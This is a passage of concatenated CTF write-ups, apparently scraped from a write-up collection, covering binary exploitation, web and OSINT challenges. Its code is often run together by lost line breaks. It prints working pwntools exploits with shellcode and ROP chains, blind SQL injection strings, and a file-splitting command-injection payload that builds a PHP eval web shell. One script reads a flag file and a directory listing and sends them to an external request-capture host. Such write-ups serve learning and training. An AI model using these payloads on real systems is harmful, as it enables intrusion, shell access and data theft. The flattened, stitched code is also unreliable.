```gef➤ disas mainDump of assembler code for function main: 0x0000000000010620 <+0>: addi sp,sp,-528 0x0000000000010624 <+4>: sd ra,520(sp) 0x0000000000010628 <+8>: sd s0,512(sp) 0x000000000001062c <+12>: addi s0,sp,528 0x000000000001062e <+14>: li a1,0 0x0000000000010630 <+16>: sd a1,-528(s0) 0x0000000000010634 <+20>: sw a1,-20(s0) 0x0000000000010638 <+24>: auipc a0,0x60 0x000000000001063c <+28>: ld a0,568(a0) # 0x70870 0x0000000000010640 <+32>: ld a0,0(a0) 0x0000000000010642 <+34>: jal ra,0x1b126 <setbuf> 0x0000000000010646 <+38>: ld a1,-528(s0) 0x000000000001064a <+42>: auipc a0,0x60 0x000000000001064e <+46>: ld a0,478(a0) # 0x70828 0x0000000000010652 <+50>: ld a0,0(a0) 0x0000000000010654 <+52>: jal ra,0x1b126 <setbuf> 0x0000000000010658 <+56>: auipc a1,0x0 0x000000000001065c <+60>: addi a1,a1,-74 # 0x1060e <failed> 0x0000000000010660 <+64>: li a0,11 0x0000000000010662 <+66>: jal ra,0x14268 <ssignal> 0x0000000000010666 <+70>: auipc a0,0x3c 0x000000000001066a <+74>: addi a0,a0,138 # 0x4c6f0 0x000000000001066e <+78>: jal ra,0x19d00 <puts> 0x0000000000010672 <+82>: auipc a0,0x3c 0x0000000000010676 <+86>: addi a0,a0,138 # 0x4c6fc 0x000000000001067a <+90>: jal ra,0x1513e <printf> 0x000000000001067e <+94>: addi a0,s0,-520 0x0000000000010682 <+98>: jal ra,0x19ab2 <gets> 0x0000000000010686 <+102>: ld a0,-528(s0) 0x000000000001068a <+106>: ld s0,512(sp) 0x000000000001068e <+110>: ld ra,520(sp) 0x0000000000010692 <+114>: addi sp,sp,528 0x0000000000010696 <+118>: retEnd of assembler dump.gef➤ b *main+102Breakpoint 1 at 0x10686gef➤ cContinuing.```
From your `nc localhost 9999` session input `AAAA`, `gets` should return and execution should halt; get the location of `a0` (buf), and we're done:
```gef➤ i r a0a0 0x40008009b8 0x40008009b8gef➤ x/1s 0x40008009b80x40008009b8: "AAAA"```
## Exploit
```python#!/usr/bin/env python3
from pwn import *
if args.REMOTE: p = remote('challenge.nahamcon.com', 30533) buf = 0x00000040008009b8else: if args.D: p = process('qemu-riscv64 -g 9000 -L /usr/riscv64-linux-gnu riscky'.split()) else: p = process('qemu-riscv64 riscky'.split()) buf = 0x0000004000800188
context.arch = 'riscv'context.bits = 64
# http://shell-storm.org/shellcode/files/shellcode-908.phpshellcode = b'\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x93\x06\x30\x07\x23\x0e\xd1\xee\x93\x06\xe1\xef\x67\x80\xe6\xff'
payload = b''payload += ((520 - 8 - len(shellcode)) // len(asm('nop'))) * asm('nop')payload += shellcodepayload += p64(buf)
p.sendlineafter(b'> ', payload)p.interactive()```
This is as oldskool as it _gets_, no ASLR, executable stack, a pretty good guess at the stack/buf location, and a nopsled followed by some script kiddie shellcode we got off the Internet.
Now you know RISC-V.
> pwntools RISC-V support is, well, not 100%, e.g. `binary = context.binary = ELF('./riscky')` didn't work, so I had to manually set in code `context.arch` and `context.bits` for `asm`. The other option was to use `p32(0x13)` for `nop`.>> NOTE: `python3 -m pip install pwntools==4.9.0b0`
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to challenge.nahamcon.com on port 31603: Done[!] Could not find system include headers for riscv-linux[*] Switching to interactive mode$ cat flag.txtflag{834e1b43c9cdfab13d9352fc949cec7b}```
## Exploit 2
After the CTF ended and while writing this write up I wanted to find a solution that did not require hardcoding the buffer address. I do not have any tools to find ROP gadgets for RISC-V, so I started reading through the disassembly:
```bash/usr/bin/riscv64-linux-gnu-objdump -d riscky | less```
JFC, it didn't take long to stumble upon:
```assembly000000000001060c <helpful>: 1060c: 9102 jalr sp```
Basically the challenge author gave us a gift.
A better solution:
```python#!/usr/bin/env python3
from pwn import *
binary = ELF('./riscky', checksec=False)context.arch = 'riscv'context.bits = 64
if args.REMOTE: p = remote('challenge.nahamcon.com', 30533)else: if args.D: p = process('qemu-riscv64 -g 9000 -L /usr/riscv64-linux-gnu riscky'.split()) else: p = process('qemu-riscv64 riscky'.split())
# https://thomask.sdf.org/blog/2018/08/25/basic-shellcode-in-riscv-linux.htmlshellcode = asm(f'''li s1, {'0x' + bytes.hex(b'/bin/sh'[::-1])}sd s1, -16(sp) # Store dword s1 on the stackaddi a0,sp,-16 # a0 = filename = sp + (-16)slt a1,zero,-1 # a1 = argv set to 0slt a2,zero,-1 # a2 = envp set to 0li a7, 221 # execve = 221ecall # Do syscall''')
if args.D: print(disasm(shellcode))
payload = b''payload += (520 - 8) * b'A'payload += p64(binary.sym.helpful)payload += shellcode
p.sendlineafter(b'> ', payload)p.interactive()```
Above is like most 90's _No ASLR-gets-executable stack-jump to stack_ type solutions, where there's a `jmp rsp` or `jmp esp` (or in this case `jalr sp`) gadget that can be used to call your shellcode down stack.
This was probably the intended solution. |
CERULEAN EXPRESS - I see the keys 20
**On the SSH server, there’s an ssh public key saved so whoever has the private key can login. Find the key and name the user that created the key.**
1. Where are public keys stored in the Linux Shell? SSH is the place to be!2. So if you ls -al ~/.ssh/, you can see that on April 26th, the root user created the authorized key file3. What you do then is cat to the new file directory you ended up seeing, so ~/.ssh/authorized_keys
Then finally, at the very end of the file, you see theArcadeHacker1337
SAH{theArcadeHacker1337} |
This challenge was a pretty fun challenge. It is not too difficult, you just have to understand the concepts of pwn.
Starting off this challenge, you are greeted with vulnerable ``gets()`` function call. This call will allow you to write data to a char array without bounds checking, overflowing the stack. Knowing this, you can keep doing trial and error until you overflow the RIP Register(Instruction Pointer). We can figure out this offset is 12 by trial and error.We can confirm this by adding 6 differnet bytes after the initial offset.And...```pwndbg> rStarting program: /pwn6/hackme AAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.0x0000424242424242 in ?? ()```We overrode the Instruction Pointer !but now what?Looking at the code, we can see a win function```cvoid win(char password[20]) {
if (strcmp(password, "ArcadeAdmin") == 0) { int fd = open("flag.txt", 0); sendfile(1,fd,0,100); }exit(0);```
Looking at the function, we notice we have to supply it a parameter equaling the "ArcadeAdmin". Lets see how they check this.Dissasembling the function in GDB,```assembly 0x00000000004011e1 <+8>: mov QWORD PTR [rbp-0x18],rdi 0x00000000004011e5 <+12>: mov rax,QWORD PTR [rbp-0x18] 0x00000000004011e9 <+16>: lea rdx,[rip+0xe14] # 0x402004 0x00000000004011f0 <+23>: mov rsi,rdx 0x00000000004011f3 <+26>: mov rdi,rax```We notice that the rdi register is moved into another register, then moved into rax, then compared.So, we have to find a way to get data into RDI, and what better way than using **★ Rop Gadgets ★**.Running rop in pwndbg, we are greeted with a ton of different ROP Gadgets.So, lets do a simple search and find a ``pop rdi; ret`` to pop the top of the stack (because we control it) into the rdi register.```assemblypwndbg> rop --grep "pop rdi ; ret"Saved corefile /tmp/tmpnzjcnmv80x00000000004012fb : pop rdi ; ret```We can now set our RIP register to 0x4012fb, our rop gadget. Now, we have to add the pointer to the "ArcadeAdmin" string (what will be popped into RDI), because we need to have something to pop into RDI.Searching for the string, we find the memory location of it.```assemblypwndbg> search -s "ArcadeAdmin"hackme 0x402004 'ArcadeAdmin'hackme 0x403004 'ArcadeAdmin'```0x402004 is the pointer to the string.To finish off our payload, we just need to call the win function now.```pwndbg> x win0x4011d9 <win>: 0xe5894855```Now we just have to structure our payload, Offset + ROP Gadget + String Pointer + Win function.Making a quick python script to do this, we are at our final payload```pyfrom pwn import *
exe = "./hackme"
elf = context.binary = ELF(exe)
offset = 12
payload = flat({ offset: [ 0x4012fb, # ROP Gadget (pop rdi; ret) 0x403004, # ArcadeAdmin String 0x4011d9 #elf.functions.win # win function ]})
write("payload", payload)print(payload)```Now, we go onto the ssh server and run our payload.```student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\xfb\x12@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd9\x11@\x00\x00\x00\x00\x00" | ./hackme Segmentation fault (core dumped)```But wait.. Seg Fault??? Why is this happening.After spending some time debugging my payload, I figured out that the location of the ROP Gadget on the server is different than on my location machine because of the libc version. Running ROPgadget on the server, we can get the location we need to match the same libc version.```student@CX3-Arcade:/home/student/pwn6$ ROPgadget --binary hackme | grep "pop rdi"0x0000000000401303 : pop rdi ; ret```0x401303, a completely different address. Adjusting my payload for this new change, it still didnt work.The win function also had a different address.```gef➤ x win0x4011d6 <win>: 0xfa1e0ff3```After finally adjusting my payload for the last time, I got the flag.```student@CX3-Arcade:/home/student/pwn6$ echo -ne "aaaabaaacaaa\x03\x13@\x00\x00\x00\x00\x00\x040@\x00\x00\x00\x00\x00\xd6\x11@\x00\x00\x00\x00\x00" | ./hackme SAH{PasswordsCantStopYou}```
**Edit:**I remade my entire payload to let pwntools do all the hardwork for us, It is still fun to figure out how it works though```pyfrom pwn import *
p = process("./hackme")elf = context.binary = ELF('./hackme')offset = 12
# Get Rop Gadetsrop = ROP(elf)
payload = flat({ offset: [ rop.rdi.address, #LibC ROP (pop rdi; ret) next(elf.search(b"ArcadeAdmin")),# ArcadeAdmin String elf.symbols['win'] # win function ]})
print("Sending Payload: " + str(payload))write("payload", payload)
# Send payloadp.write(payload)p.interactive()```
Thanks for reading my Writeup on Jumping with Glee
#### Flag``SAH{PasswordsCantStopYou}`` |
This Web Challenge was very simple, it only involved a curl request
```┌──(kali㉿kali)-[~]└─$ curl -I http://64.227.11.108/dRZMeTvUdyAvqQQd/HTTP/1.1 302 FoundDate: Tue, 03 May 2022 16:46:49 GMTServer: Apache/2.4.41 (Ubuntu)X-Header-ID: U0FIe1JhYmJpdEhvbGVzNERheXN9```You can see a weird X-Header-ID,Decoding in base64```┌──(kali㉿kali)-[~]└─$ echo "U0FIe1JhYmJpdEhvbGVzNERheXN9" | base64 -dSAH{RabbitHoles4Days}```
#### Flag``SAH{RabbitHoles4Days}`` |
Gated Community 10
What was lost in the gated community (where we like to be)?
Answer in one word.
This one was my favorite. Have you ever seen veggietales?You find the video where the cucumber guy lost his ball over the fence!
SAH{Ball} |
CERULEAN EXPRESS - Under your nose 20
**Use GREP to get the flag, SAH{}, for file named grepMe in home directory.**
1. The Grep command is one of the most confusing things in Linux, so how do you search for a specifc word in a file?2. What you have to do is put down grep SAH{} grepMe, and when you do...
SAH{Gr3p_1s_H3Lpful} |
The flag is in the HTML source of the page, in a comment, right after the rules code finishes:
I think everyone who solved this already knows the fundamentals of coding and wouldn't check the writeup - so, for those who did check, you should know that the best way to see the source code of a page is to right click the page and either press "Inspect element" (interactive) or "View source code" (easy to Ctrl-F search). You can also use the built-in menus on your browser to do this, such as in the More Tools > Developer tools section inside the 3 dots at the top of Chrome. |
The link: http://64.227.11.108/web_one/
Because there isn't a lot to go off of, my first instinct is to check **page source** - and I find the flag!
The flag is: SAH{h1dd3n_text_1snt_s@fe} |
This web was a bit more challenging and more guessy than the other webFirst checking out common directories, you could find a ``.git`` Directory.``http://64.227.11.108/dRZMeTvUdyAvqQQd2/.git/``
Looking at Commit History:``http://64.227.11.108/dRZMeTvUdyAvqQQd2/.git/logs/refs/heads/master``
You could see that there was a commit with ``commit: Added the flag``
Reading into the structure of .git directories a bit, I found out the objects directory contains backup achieved filesAll the files are encoded in zlib, so a simple python script will suffice.```pyimport zlib
f = open('your_compressed_file', 'rb')print(zlib.decompress(f.read()))```Running through all the objects in the directory, you could find Object 78, ``http://64.227.11.108/dRZMeTvUdyAvqQQd2/.git/objects/78/``Decoding this file gave you the flag```py>>> import zlib>>> f = open('flag', 'rb')>>> print(zlib.decompress(f.read()))b'blob 29\x00SAH{Guess_You_Got_Some_Help}\n'```
#### Flag``SAH{Guess_You_Got_Some_Help}`` |
Use the link to join the Discord server. Click at the top of the #ctf-help channel's description, and it will expand to show the full description, including the flag flag{081fef2f11f3eec6059e3da9117ad3f0} at the end. |
# NahamCon CTF 2022
## Detour
> write-what-where as a service! Now how do I detour away from the intended path of execution?>> Author: @M_alpha#3534>> [`detour`](detour)
Tags: _pwn_ _x86-64_ _write-what-where_
## Summary
One-shot _write-what-where_ to overwrite `.fini_array` with _win_ function.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```
No RELRO--every time it's `.fini_array`.
Just overwrite `.fini_array` with a _win_ function if it exists (or grow your own).
### Decompile with Ghidra
```cundefined8 main(void){ long in_FS_OFFSET; undefined8 local_20; long local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("What: "); __isoc99_scanf(&DAT_00402013,&local_20); getchar(); printf("Where: "); __isoc99_scanf(&DAT_0040201f,&local_18); getchar(); *(undefined8 *)((long)&base + local_18) = local_20; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return 0;}```
`*(undefined8 *)((long)&base + local_18) = local_20;` is a _write-what-where_.
```cvoid win(void){ system("/bin/sh"); return;}```
And there's the _win_ function.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./detour', checksec=False)
if args.REMOTE: p = remote('challenge.nahamcon.com', 32549)else: p = process(binary.path)
p.sendlineafter(b'What: ', str(binary.sym.win).encode())p.sendlineafter(b'Where: ',str(binary.get_section_by_name('.fini_array').header.sh_addr - binary.sym.base).encode())p.interactive()```
Overwrite `.fini_array` with the location of the function `win`.
> _Where_ needs to be less `base`, since `base` is added to `where` in `*(undefined8 *)((long)&base + local_18) = local_20;`
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to challenge.nahamcon.com on port 32549: Done[*] Switching to interactive mode$ cat flag.txtflag{787325292ef650fa69541722bb57bed9}``` |
### Original writeup
**[https://github.com/Samik081/ctf-writeups/blob/master/CrewCTF%202022/web/robabikia.md](https://github.com/Samik081/ctf-writeups/blob/master/CrewCTF%202022/web/robabikia.md)**## Robabikia (906 points)
### DescriptionIn 70's my grandfather sold a flag but I think we lost the value of it, can you help us find it? Contact the seller: https://t.me/crewctf_Robabikia_bot
Author: omakmoh#1070
https://t.me/crewctf_Robabikia_bot
### Telegram botThis challenge starts with messaging the telegram bot:```/start----------------------------------------------------/items - Return the item list./price - Return the price of item./desc - Return the description of item./value - Return the value of item./help or /start - list available commands to use.Use the command and specifiy the item ID```Listing the items:```/items ----------------------------------------------------1 - Broken Radio2 - Fridge3 - Goldstar TV4 - Plastic Table5 - Old Ancient FLAG```Price:```/price 5----------------------------------------------------31337$```Description:```/desc 5----------------------------------------------------The old ancient flag your Grandfather want.```Value (should be the flag):```/value 5----------------------------------------------------This feature currently Temporary Disabled```
### SQL Injection confirmationProbable SQL Injection:```/desc 1'----------------------------------------------------Error has been occured```Confirmed SQL Injection:```/desc 1' OR '----------------------------------------------------Radio to listen uninterrupted music, but need to fix```More complex queries like this didn't work:```/desc 1' OR (SELECT 1) OR '1----------------------------------------------------Error has been occured```
### SQL Injection method discoveryIn order to be able to run more complex queries that need SPACES, you can replace them with inline comments `/**/`, so this queries now let us determine DBMS:```/desc '/**/OR/**/@@version/**/------------------------------------------------------Error has been occured
/desc '/**/OR/**/sqlite_version()/**/------------------------------------------------------Radio to listen uninterrupted music, but need to fix```So, looks like a Blind SQL Injection on `desc` parameter, SQLite back-end.
As the challenge description states - we need to find the value of the flag (item 5). This query confirms we have `value` column in this table```/desc '/**/GROUP/**/BY/**/value------------------------------------------------------Item not found```
Let's find the length of the flag (hopefully):```/desc 5'/**/AND/**/LENGTH(value)>35----------------------------------------------------The old ancient flag your Grandfather want.
/desc 5'/**/AND/**/LENGTH(value)>50 ------------------------------------------------------Item not found
[after few queries...]
/desc 5'/**/AND/**/LENGTH(value)=47 ------------------------------------------------------The old ancient flag your Grandfather want.```
Length of the flag is 47. We can pretty easily confirm, that this indeed is the flag by checking the first characters for the flag format:```/desc 5'/**/AND/**/value/**/LIKE/**/'crew%{%}' ------------------------------------------------------The old ancient flag your Grandfather want.```
### Getting the flagI have tried UNION Selects and spend few hours on trying to find quicker way, but I ended up in just using Blind SQL Injection to dump the flag```/desc 5'/**/AND/**/SUBSTR(value,1,1)/**/>/**/'a' ------------------------------------------------------The old ancient flag your Grandfather want.
.........```It took me approx. 1 hour to dump the 47 (- 6 because of known format) characters long flag using Blind SQL Injection on the Telegram Bot.
For some reason, I feel satisfied. :D```/desc 5'/**/AND/**/value/**/LIKE/**/'crew{U53_fa57_WAY_1n_5QL_1nj3C710N_1N_t3l3_B0t}' ------------------------------------------------------The old ancient flag your Grandfather want.``` |
Wow, I feel incredibly stupid about this.
So, it's asking me to find the employee accidentally sending a commit with their personal email address. I know you have to provide an email in `git`, but I didn't put too much thought into this.
I ended up opening the security-evaluation-workflow epository in GitHub desktop and immediately noticed a commit with keeber-tiffany's profile picture, but authored by flag{2c90416c24a91a9e1eb18168697e8ff5}... okay, we have our flag, but I couldn't find the email address anywhere. I thought perhaps I would format this as an email address later, given that it was mentioned later that this email is needed.
This is not the case, though. As you can see at a better writeup from github.com/drewd314/Nahamcon-CTF-2022-Keeber-OSINT-Writeups/blob/main/Keeber.md, there was also an email address associated with this commit, and I legitimately didn't know what tool to use...
That's a learning experience, I guess :) |
A fun one by @BusesCanfly! Challenge description says
```"I sure do love painting :)"(Note: sampled at 44.1 kHz) ```
and has a gigantic mystery.zip file download. Inside the zip file is a file named thats_freq_ky.iq. iq files are radio captures stored in iq mode. Based on the title of the challenge, I did some quick google searching for “radio painting” and came across this [hackaday](https://hackaday.com/2015/08/22/spectrum-painting-on-2-4-ghz/) article from 2015 about paint pictures with radio frequencies. So naturally, based on this information, we want to open it in a viewer for RF files. My weapon of choice for this challenge is [HDSDR](https://www.hdsdr.de/), but first we need to convert it into something the application can ingest. You can also use [SDR#](https://airspy.com/download/) but I personally like using HDSDR more. Using [iqToSharp](https://github.com/Marcin648/iqToSharp) I converted the iq file to a wav file to open in HDSDR using
`iqToSharp_x64.exe -i .\thats_freq_ky.iq -f 44100 -o solve.wav`
At first glance we can see the following:

Certainly looks like they are “painting” on the airwaves! I basically sat through all three minutes of it looking for interesting spots like

Ultimately the flag ended up being near the end but we can clearly see that there is a flag!


Nestled in the same airwaves as John Hammond and Lord Foog we have our flag! Finally, I reversed the wav file to get things looking right side up for me to more easily clean things up using
`sox -V solve.wav_44100Hz_IQ.wav solve_reverse.wav reverse`
and there we have it!
 |
What your about to read is not the tale of a quitter, but a boy who has way to much free time on his hands.
I started off super optimistic with this challenge, it’s something that I love doing and finding an image by just using google maps is something that I have done before, so truly no big deal, little did I know, I would never look at Wendy’s, Shell, or the entire state of Florida the same ever again.
The Prompt is as follows: OSINT - Finding Megan Again 100 We lost our dear Agent, Megan! Her last known location was seen here. Do you know which road this is? (The flag is the name of the road)
We are provided two images, one came out much later, but they are both the same road from different perspectives.
There were a few things to pick out of the image almost immediately. There was a Wendys Sign, Shell Gas Station, what looked like a Circle K (This was true, and confirmed by the second image) Other than physical landmarks, there was* Cars with no front plates and stickers for inspecction every year* American Elm trees that are seen on the left and right of the image* A hotel/motel that was extremely seculded* An interstate sign with what looked like single digit, or in the 10 area* A four lane roadway, with one lane on the other side* Telephone Poles native to the southern hemisphere* An Empty Lot (Left Side)* A diesel bay for larger cargo vehicles (Evident by the pepsi truck seen on the far left)* A yellow and white sign, almost resembling subway on the building across the way* A buildig that looks like a youth or church camp.
The first day, I spent hours cross referencing shell gas stations that were in close proximity to Wendy’s. I gave up brute forcing one I finished my first 1000 wendys, so then I turned to the states where cars only needed to have a singular plate on the back end (Evident by the car on the left hand side). These states were
Southern Possible States: Alabama, Arkansas, Florida, Georgia, Indiana, Kansas, Kentucky, Louisiana, Michigan, Mississippi, North Carolina, Oklahoma, Pennsylvania, South Carolina, Tennessee = ~2500+ Wendys and ~12000+ Shells
States that were impossible: Arizona, Delaware, New Mexico, Pennsylvania, West Virginia
This was my compiled list, so then I investigated the tree lead. I also looked at the trees, and deduced that they are American Elm, trees that grow (more often than in other places) down south. So my inital list shortened to just the Southern possible states list mentioned above. But due to the sheer number of Wendy’s and Shells I could find next to each other in the south, I slept on it to see what tomorrow would bring.
I woke up ready to go again, working on it at school and pathetically having to explain to friends why I was looking for a shell and a Wendy’s that were close to each other. On day 2, I got through 10/15 states, manually cross referencing,
Every. Single. Wendy’s.
No luck. 3000+ Wendy’s down in two days, and reading the names of over 5000 shells, I ran out of time, and ~16 Hours of research got me nowhere. I started to lose hope.
Day 3 was the most eventful, productive, and frustrating day. The 2nd part of the challenge was released and boy did I see A LOT. There was the building painted with the grinch in the windows on the left, no front license plates, interstate signs, a pump specifically for trucks, and a circle k, cars that all had tags for inspection. (The circle k thing was figured out in day 2, but everything else was new)
I got home at 3:30 MST, and said forget PatriotCTF, I want to get this challenge. I started working immediately. I first went through every single interstate using some tool called iExitapp, that showed you the proximity of one location from an exit. Anything below 0.08 seemed to be the sweet spot, but I searched every Wendy’s in 14 states that I thought it could be in, funny enough, they were all duds.
I started checking which states have yearly inspections, checked them all, all duds.
I looked at real estate for a building with painted grinch themed windows, thinking it was some kind of church or youth building for hours no luck. I took a sigh and was about to give up, but then, and just then, I realized that there was one state that remained, Florida. I made a joke in the Cx3 Discord (Which I encourage everyone to join) that "If Megan in Florida I stg" and an admin confirmed my intuition. Florida had a whopping 526 Wendys, and I started searching.
I used google earth, and the all wendys locations in the US website, cross refrenced, used everything in my power to find Megan, and when the final Wendys came around, I felt hopeless. It wasn't there. Defeated and sad, I didn't know what was wrong, what did I miss, what did I not see? Then it came to me, "What if it wasn't on the website?"
At Midnight when I got back, the hunt began, and lo-and behold, the website did not display it. I found it on Mango Road, a small sub county in Florida called Mango.
Wrap the flag, and voila:SAH{Mango Road}
*I actually messed up the flag 3 times by putting Mango Rd, and it didnt accept, so an admin unlocked it for me lol |
# Web: Less than 5

## Website:

There is a blank white page. Let's test parameters from challenge description - `cmd` and `reset`


We don't get any output from that. Maybe we should search for some **edge cases** to see how app behaves.

**Null byte** works as always in php scritps. Now we can check how length control is being handled.

Input build of more than 5 characters is **not going throught exec function.**
## Fight with input length:
At first I thought the challenge was about simple command injection.I tried using `*`, `>` to read flag or index.php but didn't get anything.The length of 5 was too small to get any progress there.The only thing that I acomplished was creating files with short names and reading them.This led me to **executing ls and reading the output.**
That's something. At that moment I knew the challenge is about creating payload from multiple files.It is also said in challenge description that files are being removed every 2 mins so keep that in mind.
## Research:
After feeling a bit helpless I started to google for **short php** payloads. I stumbled upon few interesting articles.* [blog.spacepatroldelta.com](https://blog.spacepatroldelta.com/a?ID=01800-96c1d853-a6ab-4a27-b2c5-157e586418d3)* [blog.csdn.net/](https://blog.csdn.net/nzjdsds/article/details/102940762)
In above articles they are basically spliting the command `echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php` in multiple files.Then they are using `ls -t>0` to sort files by the time they were created and put all of them into one file - `0`.When that succeed they execute `0` with `sh 0` and the outcome is `1.php` file with php content - **`0`. This line have much more than 5 chars so how they got around it?

**That's pure magic. How does it even work?**
First we need to understand few commands:* dir - same as ls* rev - reverses the input `echo 1234|rev` -> `4321`
So at first they are building a reversed payload. With `*>v` they are calling dir (first file in the folder in alphabetical order) which lists other files and then saves it to `v` file.Next they uses rev to reverse the payload and move it to another file `0`Well that works. Pretty crazy way to get around it.
**I found everything that is needed right? Copy, paste, run, didn't work. Unfortunately, it wasn't that simple.**
## Local setup
I created a simple php script that simulates the behavior of the challenge.```php
```
After a while I knew what didn't work. When building up a `ls -t` from files there is one diffrence between articles and actual challenge. We also have `index.php` in same directory which breaks the whole payload.

Index.php got between the files and whole thing was messed up. I had to find reversed payload that will go after `index.php`
```>dir>n\>>pt->l\|>sl*>v>rev*v>0```
**Found it!** Below how it works.

# Solution:
Simple python script which creates all the files needed and calls `1.php` endpoint to check if it worked.
```pythonimport requests
url = "http://142.93.209.130:8003/?cmd={0}"
with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip()))
test = requests.get("http://142.93.209.130:8002/1.php")if test.status_code == requests.codes.ok: print("Success!!!")```
```payload.txt>dir>n\>>pt->l\|>sl*>v>rev*v>0>php>1.\\>\>\\>d\\>\-\\>\ \\>4\\>e6\\>s\\>ba\\>\|\\>4K\\>Pz\\>7\\>k\\>XS\\>x\\>Fs\\>V\\>dF\\>0\\>kX\\>g\\>bC\\>h\\>XZ\\>Z\\>Ag\\>H\\>wa\\>9\\>PD\\>\}\\>FS\\>I\\>\{\\>$\\>ho\\>ec\\sh 0sh n```
## FLAG: ictf{5ch4r5_4re_3n0ugh_bd903} |
# NahamCon CTF 2022
## Babiersteps
> Baby steps! One has to crawl before they can run. >> Author: @M_alpha#3534>> [`babiersteps`](babiersteps)
Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _ret2win_
## Summary
Basic `scanf` _ret2win_.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE + No canary = easy ROP.
### Ghidra Decompile
```cundefined8 main(void){ undefined local_78 [112]; puts("Everyone has heard of gets, but have you heard of scanf?"); __isoc99_scanf(&DAT_00402049,local_78); return 0;}
void win(void){ execve("/bin/sh",(char **)0x0,(char **)0x0); return;}```
`&DAT_00402049` is actually `%s`, IOW, `scanf` is unconstrained enabling a buffer overflow that can smash the stack. _But what to smash it with?_ Well, the included `win` function.
`local_78` is `0x78` bytes from the base of the stack frame (right above the return address `main` will _return_ to on `return`). To _return to win_, simply write out `0x78` bytes of garbage followed by the location of `win`.
That's it.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./babiersteps', checksec=False)
if args.REMOTE: p = remote('challenge.nahamcon.com', 30823)else: p = process(binary.path)
payload = b''payload += 0x78 * b'A'payload += p64(binary.sym.win)
p.sendlineafter(b'scanf?\n',payload)p.interactive()```
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to challenge.nahamcon.com on port 30823: Done[*] Switching to interactive mode$ cat flag.txtflag{4dc0a785da36bfcf0e597917b9144fd6}``` |
Using reverse image search, we can upload the image from [Megan's twitter account](https://twitter.com/golfcoachmegan).
We find out that the country is Bolivia, so the flag is SAH{Bolivia}. |
# PicoCTF 2022 Sleuthkit Apprentice writeup
The Problem is the following:

### Download & extract the image
Run the following command:
```shellwget https://artifacts.picoctf.net/c/336/disk.flag.img.gzgunzip disk.flag.img.gz```
a file named `disk.flag.img` should show up at your working directory.
### Finding the flag with autopsy
In the following steps, I will demonstrate how to extract the key with [autopsy](https://www.autopsy.com/), the graphical user interface for [sleuthkit](https://www.sleuthkit.org/). This tool is built into kali linux.
First, run `autopsy` and open `localhost:9999/autopsy`
Use the graphical user interface to open a new case, and click through the default options until "Add A New Image":
fill in the absolute path of the image downloaded(use `pwd` to get your current directory)

again, click through the default options until this page:

After some digging, you'll find that in conducting file analysis in /3/, when you search for the text `flag`, there are two files, one of which is deleted, the other is encoded.

Next, click on display Hex value, and you'll find the flag:

The flag is: `picoCTF{by73_5urf3r_25b0d0c0}` |
```python#!/usr/bin/env python3
# You can use your own server or tool like RequestBin or Beeceptor to intercept request in an easy way# In this part we have to find the flag.txt file first. # My idea is to send os.listdir output in body of POST request.# Flag should be easy to find in a few requests, it is in the /opt/challenge directory# When we have the correct path, we send it as in LOLD2, in the url# Flag will apear in the url
from pwn import *
p = remote('challenge.nahamcon.com', 31816)
URL = "https://lold3.free.beeceptor.com/"
# import urllib2# import urllib# import os# data = os.listdir("/opt/challenge/")# data = "\n".join(data)# flag = open("/opt/challenge/flag.txt").read()# url = URL + flag# req. = urllib2.Request(url, data=data)# urllib2.urlopen(req)
payload = f'''GIMME urllib2GIMME urllibGIMME osdata CAN HAS os OWN listdir WIT "/opt/challenge/" !data CAN HAS "\n" OWN join WIT data !flag CAN HAS open WIT "/opt/challenge/flag.txt"! OWN read THINGurl CAN HAS "{URL}" ALONG WITH flagreq CAN HAS urllib2 OWN Request WIT url AND data CAN HAS data !urllib2 OWN urlopen WIT req !'''
print( p.recvuntil('MAYB I RUN 4 U!').decode(encoding='ascii') )p.sendline(payload)print( p.recvall().decode(encoding='ascii') )``` |
## Hacker TS> We all love our hacker t-shirts. Make your own custom ones.
App have html to png file and admin panel (with local access only) Application use `wkhtmltoimage` is vulnerable to command injection (JS code) The library config seem not wait for XHR state change. So i send it to collborator server to get response from admin panel (localhost:5000) that contain flag
Exploit code: [exploit.html](exploit.html?raw=true)Flag: `flag{461e2452088eb397b6138a5934af6231}` |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.